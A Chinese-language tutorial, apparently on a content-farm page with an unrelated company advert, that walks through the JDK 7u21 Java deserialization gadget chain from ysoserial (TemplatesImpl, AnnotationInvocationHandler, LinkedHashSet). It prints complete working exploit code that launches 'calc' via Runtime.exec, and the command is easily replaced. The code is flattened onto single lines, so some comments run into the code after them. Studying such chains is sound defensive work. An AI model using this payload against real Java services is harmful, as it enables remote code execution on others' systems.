這篇文章主要介紹“Java 7u21鏈原理是什么”,在日常操作中,相信很多人在Java 7u21鏈原理是什么問(wèn)題上存在疑惑,小編查閱了各式資料,整理出簡(jiǎn)單好用的操作方法,希望對(duì)大家解答”Java 7u21鏈原理是什么”的疑惑有所幫助!接下來(lái),請(qǐng)跟著小編一起來(lái)學(xué)習(xí)吧!
簡(jiǎn)介
成都創(chuàng)新互聯(lián)專(zhuān)注為客戶(hù)提供全方位的互聯(lián)網(wǎng)綜合服務(wù),包含不限于網(wǎng)站設(shè)計(jì)制作、網(wǎng)站建設(shè)、青原網(wǎng)絡(luò)推廣、微信平臺(tái)小程序開(kāi)發(fā)、青原網(wǎng)絡(luò)營(yíng)銷(xiāo)、青原企業(yè)策劃、青原品牌公關(guān)、搜索引擎seo、人物專(zhuān)訪、企業(yè)宣傳片、企業(yè)代運(yùn)營(yíng)等,從售前售中售后,我們都將竭誠(chéng)為您服務(wù),您的肯定,是我們最大的嘉獎(jiǎng);成都創(chuàng)新互聯(lián)為所有大學(xué)生創(chuàng)業(yè)者提供青原建站搭建服務(wù),24小時(shí)服務(wù)熱線(xiàn):18982081108,官方網(wǎng)址:www.cdcxhl.com
jdk7u21 鏈,是一個(gè)不需要借助第三方庫(kù)就能實(shí)現(xiàn)的鏈。影響版本<=7u21分析from ysonerial
我們先來(lái)看看ysonerial里的payload是怎么寫(xiě)的,然后沿著其思路進(jìn)行分析public Object getObject(String command) throws Exception {Object templates = Gadgets.createTemplatesImpl(command);String zeroHashCodeStr = "f5a5a608";HashMap map = new HashMap();map.put(zeroHashCodeStr, "foo");InvocationHandler tempHandler = (InvocationHandler)Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);Reflections.setFieldValue(tempHandler, "type", Templates.class);Templates proxy = (Templates)Gadgets.createProxy(tempHandler, Templates.class, new Class[0]);LinkedHashSet set = new LinkedHashSet();set.add(templates);set.add(proxy);Reflections.setFieldValue(templates, "_auxClasses", (Object)null);Reflections.setFieldValue(templates, "_class", (Object)null);map.put(zeroHashCodeStr, templates);return set;}TemplatesImpl
我們看到,ysonerial的payload上來(lái)就通過(guò)Gadgets.createTemplatesImpl(command) 試圖創(chuàng)建一個(gè)TemplatesImpl類(lèi)。 createTemplatesImpl源碼如下,我們發(fā)現(xiàn)創(chuàng)建TemplatesImpl類(lèi)后又通過(guò)反射和javassist做了許多操作。public static
那么為什么要?jiǎng)?chuàng)建這個(gè)類(lèi)并且調(diào)用反射和javassist機(jī)制呢?先不急,我們看一下TemplatesImpl源碼。
首先TemplatesImpl類(lèi)中有個(gè)方法defineTransletClasses,它的主要代碼如下private byte[][] _bytecodes = (byte[][])null;private void defineTransletClasses() throws TransformerConfigurationException {if (this._bytecodes == null) {.....} else {TemplatesImpl.TransletClassLoader loader = (TemplatesImpl.TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {public Object run() {return new TemplatesImpl.TransletClassLoader(ObjectFactory.findClassLoader());}});try {int classCount = this._bytecodes.length;this._class = new Class[classCount];for(int i = 0; i < classCount; ++i) {this._class[i] = loader.defineClass(this._bytecodes[i]); \\將_bytecodes中的所有字節(jié)通過(guò)defineClass轉(zhuǎn)化為一個(gè)類(lèi)Class superClass = this._class[i].getSuperclass();if (superClass.getName().equals(ABSTRACT_TRANSLET)) {this._transletIndex = i;} else {this._auxClasses.put(this._class[i].getName(), this._class[i]);}}}
也就是說(shuō)通過(guò)這個(gè)方法可以將_bytecodes數(shù)組中的字節(jié)還原成一個(gè)類(lèi),存儲(chǔ)到_class變量中。接下來(lái)如果我們能找到調(diào)用defineTransletClasses方法并執(zhí)行了_class[].newinstance() 這樣的的代碼的方法,就能實(shí)例化從字節(jié)得到的類(lèi)了,從而就能執(zhí)行類(lèi)中的靜態(tài)代碼塊和構(gòu)造函數(shù)了! 所以接下來(lái)我們需要去尋找這種方法。 通過(guò)搜索defineTransletClasses,我們找到了有如下三個(gè)方法調(diào)用了defineTransletClasses方法:getTransletInstancegetTransletIndexgetTransletClasses
其中,getTransletInstance方法是唯一符合“調(diào)用了defineTransletClasses且有_class[].newinstance()”的方法,其代碼如下private Translet getTransletInstance() throws TransformerConfigurationException {ErrorMsg err;try {if (this._name == null) {return null;} else {if (this._class == null) {this.defineTransletClasses();}AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance(); \\heretranslet.postInitialization();translet.setTemplates(this);translet.setServicesMechnism(this._useServicesMechanism);if (this._auxClasses != null) {translet.setAuxiliaryClasses(this._auxClasses);}return translet;}
那么,getTransletInstance是一個(gè)private方法,我們不能直接調(diào)用它,在那里能去調(diào)用它呢?答案是newTransformer方法public synchronized Transformer newTransformer() throws TransformerConfigurationException {TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(), this._outputProperties, this._indentNumber, this._tfactory); \\here········}
OK.我們找到了觸發(fā)7u21鏈的一個(gè)核心點(diǎn)了。我們寫(xiě)個(gè)小demo來(lái)通過(guò)TemplatesImpl實(shí)現(xiàn)代碼執(zhí)行 小demo的實(shí)現(xiàn)思路為:通過(guò)javassist動(dòng)態(tài)生成一個(gè)惡意類(lèi)(構(gòu)造方法或者靜態(tài)代碼塊有惡意代碼),然后通過(guò)反射生成一個(gè)TemplatesImpl對(duì)象并設(shè)置各個(gè)變量的值,然后調(diào)用一下TemplatesImpl對(duì)象的newTransformer方法即可造成代碼執(zhí)行,代碼如下public class test{public static void main(String[] args) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass cc = pool.makeClass("evilclass");String cmd = "Runtime.getRuntime().exec(\"calc\");";cc.makeClassInitializer().insertBefore(cmd); \\向靜態(tài)代碼塊插入惡意代碼,插入到構(gòu)造函數(shù)也可以cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); \\需設(shè)置此項(xiàng)才能實(shí)現(xiàn)newinstance,具體原因請(qǐng)看defineTransletClasses和getTransletInstance源碼cc.setName("evilClass");byte[] evilbytes = cc.toBytecode();byte[][] targetByteCodes = new byte[][]{evilbytes};TemplatesImpl templates = TemplatesImpl.class.newInstance();Class clazz = TemplatesImpl.class.newInstance().getClass();Field[] Fields = clazz.getDeclaredFields();for (Field Field : Fields) { //遍歷Fields數(shù)組try { Field.setAccessible(true); //對(duì)數(shù)組中的每一項(xiàng)實(shí)現(xiàn)私有訪問(wèn)if(Field.getName()=="_bytecodes"){Field.set(templates,targetByteCodes);}if(Field.getName()=="_class"){Field.set(templates,null);}if(Field.getName()=="_name"){Field.set(templates,"abc");}if(Field.getName()=="_tfactory"){Field.set(templates,new TemplatesImpl());}} catch (Exception e) {}}templates.newTransformer();}}
但僅僅是這樣,肯定是不夠的。AnnotationInvocationHandler
我們繼續(xù)看ysoserial源碼可以看到動(dòng)用了AnnotationInvocationHandler這個(gè)東西.這個(gè)類(lèi)原本的作用是作為Annotation 類(lèi)的動(dòng)態(tài)代理
我們把目光聚焦于invoke方法——?jiǎng)討B(tài)代理的核心public Object invoke(Object var1, Method var2, Object[] var3) {String var4 = var2.getName();Class[] var5 = var2.getParameterTypes();if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {return this.equalsImpl(var3[0]);} ..........}
它會(huì)檢測(cè)傳入的方法中是否有符合 名為equals,只有一個(gè)Object類(lèi)型參數(shù)。若是,則調(diào)用equalsImpl方法并傳入方法中的參數(shù)。 跟進(jìn)equalsimpl方法private Boolean equalsImpl(Object var1) {if (var1 == this) {return true;} else if (!this.type.isInstance(var1)) {return false;} else {Method[] var2 = this.getMemberMethods();int var3 = var2.length;for(int var4 = 0; var4 < var3; ++var4) {Method var5 = var2[var4];String var6 = var5.getName();Object var7 = this.memberValues.get(var6);Object var8 = null;AnnotationInvocationHandler var9 = this.asOneOfUs(var1);if (var9 != null) {var8 = var9.memberValues.get(var6);} else {try {var8 = var5.invoke(var1); \\here} catch (InvocationTargetException var11) {return false;} catch (IllegalAccessException var12) {throw new AssertionError(var12);}}if (!memberValueEquals(var7, var8)) {return false;}}return true;}}
發(fā)現(xiàn)會(huì)invoke 傳入?yún)?shù)中的所有方法。 那么接下來(lái)我們就可以按照下面的思路寫(xiě)一個(gè)命令執(zhí)行小demo:
創(chuàng)建一個(gè)包含惡意代碼的TemplatesImpl實(shí)例,通過(guò)AnnotationInvocationHandler創(chuàng)建任意一個(gè)代理對(duì)象,然后代理對(duì)象調(diào)用equals方法傳入?yún)?shù)為惡意TemplatesImpl對(duì)象,即可造成惡意代碼執(zhí)行 看到這里一定一頭霧水,看看demo也許會(huì)好一點(diǎn)public class test{public static void main(String[] args) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass cc = pool.makeClass("evilclass");String cmd = "Runtime.getRuntime().exec(\"calc\");";CtConstructor cons = new CtConstructor(new CtClass[]{},cc);cons.setBody("Runtime.getRuntime().exec(\"calc\");");cc.addConstructor(cons);cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));cc.setName("evilClass");byte[] evilbytes = cc.toBytecode();byte[][] targetByteCodes = new byte[][]{evilbytes};TemplatesImpl templates = TemplatesImpl.class.newInstance();Class clazz = TemplatesImpl.class.newInstance().getClass();Field[] Fields = clazz.getDeclaredFields();for (Field Field : Fields) { //遍歷Fields數(shù)組try { //執(zhí)行g(shù)et()方法時(shí)需拋出IllegalAccessException錯(cuò)誤Field.setAccessible(true); //對(duì)數(shù)組中的每一項(xiàng)實(shí)現(xiàn)私有訪問(wèn)if(Field.getName()=="_bytecodes"){Field.set(templates,targetByteCodes);}if(Field.getName()=="_class"){Field.set(templates,null);}if(Field.getName()=="_name"){Field.set(templates,"abc");}if(Field.getName()=="_tfactory"){Field.set(templates,new TemplatesImpl());}} catch (Exception e) {}}//以上代碼生成了惡意TemplatesImpl對(duì)象templatesMap map = new HashMap();final Constructor> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; //獲得AnnotationInvocationHandler構(gòu)造方法,方便獲得它一個(gè)實(shí)例ctor.setAccessible(true);InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class, map); //這里有個(gè)問(wèn)題,為什么要傳入Templates類(lèi)對(duì)象而不是TemplatesImplObject proxy = Proxy.newProxyInstance(null, Object.class.getInterfaces(), invocationHandler); \\反正創(chuàng)建一個(gè)AnnotationInvocationHandler的代理對(duì)象就行了,前兩個(gè)參數(shù)都不用怎么管proxy.equals(templates); //惡意代碼執(zhí)行}}
我們慢慢看看邏輯,在proxy.equals處下斷點(diǎn),調(diào)試 毫無(wú)疑問(wèn)會(huì)進(jìn)入到此處:AnnotationInvocationHandler的invoke方法。
然后參數(shù)符合if判斷,調(diào)用equalsImpl方法,并傳入?yún)?shù)為惡意TemplatesImpl對(duì)象,接下來(lái)就是進(jìn)入反射調(diào)用處
遍歷var2變量中的方法,并由我們的惡意對(duì)象來(lái)執(zhí)行。
————此處插一下var2變量的來(lái)歷
注意此處的getMemberMethods方法,它實(shí)質(zhì)上是通過(guò)反射獲得this.type中的所有方法。而this.type是在該對(duì)象構(gòu)造方法中傳入的第一個(gè)參數(shù)。
getMemberMethods:
構(gòu)造方法:
————回到正題
由于我們通過(guò)反射傳入構(gòu)造方法的第一個(gè)參數(shù)是Templates.class,所以它會(huì)遍歷Templates類(lèi)中的所有方法。這個(gè)類(lèi)其實(shí)是TemplatesImpl的接口類(lèi),它的代碼如下
所以var2中存儲(chǔ)的方法只有兩個(gè),newTransformer和getOutputProperties。 然后當(dāng)遍歷到newTransformer方法時(shí),就會(huì)通過(guò)反射調(diào)用達(dá)到 eviltemplatesImpl.newTransformer() 的效果,從而導(dǎo)致惡意TemplatesImpl對(duì)象中的惡意代碼被執(zhí)行。
這里承接上面說(shuō)的,為什么初始化AnnotationInvocationHandler對(duì)象時(shí)傳入的第一個(gè)參數(shù)(即this.type)是Templates.class,而不是TemplatesImpl.class 誠(chéng)然,這兩個(gè)類(lèi)對(duì)象都有方法newTransformer。但是如果傳入TemplatesImpl.class,在遍歷其中方法并通過(guò)反射執(zhí)行時(shí)會(huì)出現(xiàn)錯(cuò)誤:equalsImpl中的反射調(diào)用是不傳入?yún)?shù)的
而TemplatesImpl中有許多需要傳入?yún)?shù)才能被正常使用的方法,如果不傳入?yún)?shù)就反射調(diào)用就會(huì)拋出異常,以至于在遍歷到newTransformer方法前就會(huì)拋出異常,從而導(dǎo)致代碼執(zhí)行不被實(shí)現(xiàn)。
僅僅是這樣,也還是不夠的,我們還是得手動(dòng)調(diào)用equals才能導(dǎo)致代碼執(zhí)行,反序列化點(diǎn)在哪里?LinkedHashSet
ysoserial的payload中出現(xiàn)了此類(lèi)。
LinkedHashSet繼承自HashSet類(lèi),它的readObject方法也是從HashSet繼承而來(lái)的。我們看看readObject方法的構(gòu)造private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {var1.defaultReadObject();int var2 = var1.readInt();float var3 = var1.readFloat();this.map = (HashMap)(this instanceof LinkedHashSet ? new LinkedHashMap(var2, var3) : new HashMap(var2, var3));int var4 = var1.readInt();for(int var5 = 0; var5 < var4; ++var5) {Object var6 = var1.readObject();this.map.put(var6, PRESENT);}}}
它的主要亮點(diǎn)在for循環(huán)里面:遍歷傳入的序列化對(duì)象,將其反序列化后,再傳入put方法
所以我們?cè)賮?lái)跟進(jìn)一下map.put方法public V put(K var1, V var2) {if (var1 == null) {return this.putForNullKey(var2);} else {int var3 = this.hash(var1);int var4 = indexFor(var3, this.table.length);for(HashMap.Entry var5 = this.table[var4]; var5 != null; var5 = var5.next) {Object var6;if (var5.hash == var3 && ((var6 = var5.key) == var1 || var1.equals(var6))) { //hereObject var7 = var5.value;var5.value = var2;var5.recordAccess(this);return var7;}}++this.modCount;this.addEntry(var3, var1, var2, var4);return null;}}
注意我們添加注釋那一行,有一個(gè)var1.equals(var6))) 其中var1和var6我們都是可以控制的:var1即傳入的反序列化對(duì)象(惡意TemplatesImpl),var6實(shí)際上也是我們傳入的反序列化對(duì)象(惡意AnnotationInvocationHandler代理對(duì)象)。
但是想要執(zhí)行var1.equals(var6))) 則必須要讓 var5.hash == var3 為true 且 (var6 = var5.key) == var1為false. 怎么做到呢?
注意put方法的第5行,對(duì)傳入的反序列化對(duì)象調(diào)用了hash方法。我們跟進(jìn)hash方法final int hash(Object var1) {int var2 = 0;if (this.useAltHashing) {if (var1 instanceof String) {return Hashing.stringHash42((String)var1);}var2 = this.hashSeed;}var2 ^= var1.hashCode(); //herevar2 ^= var2 >>> 20 ^ var2 >>> 12;return var2 ^ var2 >>> 7 ^ var2 >>> 4;}
發(fā)現(xiàn)會(huì)執(zhí)行傳入的參數(shù)對(duì)象的hashCode()方法 當(dāng)我們傳入的參數(shù)為惡意AnnotationInvocationHandler代理對(duì)象時(shí),會(huì)調(diào)用代理對(duì)象中的invoke方法。對(duì)于AnnotationInvocationHandler而言當(dāng)判斷到執(zhí)行hashCode方法時(shí),實(shí)質(zhì)上會(huì)執(zhí)行AnnotationInvocationHandler中的hashCodeImpl方法
我們跟進(jìn)hashCodeImplprivate int hashCodeImpl() {int var1 = 0;Entry var3;for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {var3 = (Entry)var2.next();}return var1;}上面是真實(shí)代碼,比較難看,所以借鑒了一下別人對(duì)其進(jìn)行修改后的代碼,方便我們進(jìn)行分析private int hashCodeImpl() {int result = 0;// 遍歷 memberValuesIterator itr = this.memberValues.entrySet().iterator();for( ;itr.hasNext(); ) {Entry entry = (Entry)itr.next();String key = ((String)entry.getKey());Object value = entry.getValue();// 127 * key 的 hashCode,再和 memberValueHashCode(value) 進(jìn)行異或result += 127 * key.hashCode() ^ memberValueHashCode(value);}return result;}
這個(gè)方法會(huì)遍歷this.memberValues屬性(這個(gè)屬性實(shí)質(zhì)上就是HashMap內(nèi)添加的屬性),然后對(duì)其中每一項(xiàng)鍵值屬性進(jìn)行進(jìn)行位運(yùn)算并累加
其中memberValueHashCode函數(shù)我們也可以跟進(jìn)一下
發(fā)現(xiàn)只要傳入?yún)?shù)不為數(shù)組,就調(diào)用它的hashCode函數(shù)并返回。
我們來(lái)梳理一下,怎么才能調(diào)用到put方法里的equals觸發(fā)代碼執(zhí)行: payload階段:
建立一個(gè)map變量,其key為特殊的一個(gè)值:f5a5a608,這個(gè)值的hashCode是0,然后值為惡意templatesImpl類(lèi),然后以這個(gè)map變量為參數(shù)建立AnnotationInvocationHandler代理對(duì)象。
再向HashMap里放入一個(gè)值,鍵為惡意TemplatesImpl對(duì)象, 再放入一個(gè)值,鍵為惡意AnnotationInvocationHandler對(duì)象。 (LinkedHashSet會(huì)讓HashMap有序,從而在反序列化的時(shí)候能按順序依次從HashMap讀取對(duì)象。如果用HashSet,則會(huì)在反序列化時(shí)報(bào)錯(cuò))
反序列化階段:
隨后在readObject時(shí),TemplatesImpl先被put方法調(diào)用。
然后在put方法里通過(guò)hash()方法獲得其hash,并將其錄入到它的hash屬性里,然后寫(xiě)入到HashMap的存儲(chǔ)隊(duì)列里。
然后AnnotationInvocationHandler再被put方法調(diào)用
在對(duì)其使用hash方法獲得hash時(shí),會(huì)因其是一個(gè)代理類(lèi)的緣故在hash函數(shù)內(nèi)部調(diào)用hashCode()方法時(shí)會(huì)調(diào)用其代理方法hashCodeImpl。
隨后在hashCodeImpl內(nèi)部遍歷this.memberValues變量(也就是之前初始化時(shí)放入的map變量)
將每一項(xiàng)的key值的hashCode與傳入map vaule值作為參數(shù)的memberValueHashCode方法進(jìn)行異或。 這個(gè)memberValueHashCode方法會(huì)判斷傳入的值是否為數(shù)組,若不是數(shù)組則直接返回參數(shù)的hashCode()。
因?yàn)槲覀冎俺跏蓟韺?duì)象時(shí)傳入的是一個(gè)鍵為f5a5a608,值為eviltemplates的map,所以以上hash計(jì)算最終得到的結(jié)果,便是0^(templatesImpl.hashCode()). 也就是templatesImpl.hashCode()。所以也就是說(shuō)AnnotationInvocationHandler對(duì)象作為參數(shù)傳入被hash方法執(zhí)行后的結(jié)果,就相當(dāng)于是hash(eviltemplates)
隨后這個(gè)值來(lái)到if判斷邏輯,它遍歷之前的值,并將遍歷得到的值賦給var5
上一個(gè)值的hash(也就是eviltemplates的hash)與AnnotationInvocationHandler對(duì)象的hash(也還是eviltemplates的hash)相同,但是AnnotationInvocationHandler對(duì)象與eviltemplates對(duì)象并不相同,所以便觸動(dòng)了equals,代碼執(zhí)行成功。完整payload
縱觀以上三個(gè)類(lèi),我們可以寫(xiě)出payloadpublic static void main(String[] args) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass cc = pool.makeClass("evilclass");String cmd = "Runtime.getRuntime().exec(\"calc\");";CtConstructor cons = new CtConstructor(new CtClass[]{},cc);cons.setBody("Runtime.getRuntime().exec(\"calc\");");cc.addConstructor(cons);cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));cc.setName("evilClass");byte[] evilbytes = cc.toBytecode();byte[][] targetByteCodes = new byte[][]{evilbytes};TemplatesImpl templates = TemplatesImpl.class.newInstance();Class clazz = TemplatesImpl.class.newInstance().getClass();Field[] Fields = clazz.getDeclaredFields();for (Field Field : Fields) { //遍歷Fields數(shù)組try { //執(zhí)行g(shù)et()方法時(shí)需拋出IllegalAccessException錯(cuò)誤Field.setAccessible(true); //對(duì)數(shù)組中的每一項(xiàng)實(shí)現(xiàn)私有訪問(wèn)if(Field.getName()=="_bytecodes"){Field.set(templates,targetByteCodes);}if(Field.getName()=="_class"){Field.set(templates,null);}if(Field.getName()=="_name"){Field.set(templates,"abc");}if(Field.getName()=="_tfactory"){Field.set(templates,new TemplatesImpl());}} catch (Exception e) {}}Map map = new HashMap();String magicStr = "f5a5a608";final Constructor> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];ctor.setAccessible(true);InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);Object proxy = Proxy.newProxyInstance(null, Object.class.getInterfaces(), invocationHandler);HashSet target = new LinkedHashSet();target.add(templates);target.add(proxy);//這個(gè)map需要在Hashmap put了proxy后再賦值,不然會(huì)報(bào)錯(cuò)(我也不知道為什么map.put(magicStr, templates);// 序列化ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename));oos.writeObject(target);// 反序列化ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));ois.readObject();
看一下調(diào)用棧
更直觀的調(diào)用鏈
LinkedHashSet.readObject()LinkedHashSet.add()...TemplatesImpl.hashCode() (X)LinkedHashSet.add()...Proxy(Templates).hashCode() (X)AnnotationInvocationHandler.invoke() (X)AnnotationInvocationHandler.hashCodeImpl() (X)String.hashCode() (0)AnnotationInvocationHandler.memberValueHashCode() (X)TemplatesImpl.hashCode() (X)Proxy(Templates).equals()AnnotationInvocationHandler.invoke()AnnotationInvocationHandler.equalsImpl()Method.invoke()...// TemplatesImpl.getOutputProperties(),實(shí)際測(cè)試時(shí)會(huì)直接調(diào)用 newTransformer()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()ClassLoader.defineClass()Class.newInstance()...MaliciousClass.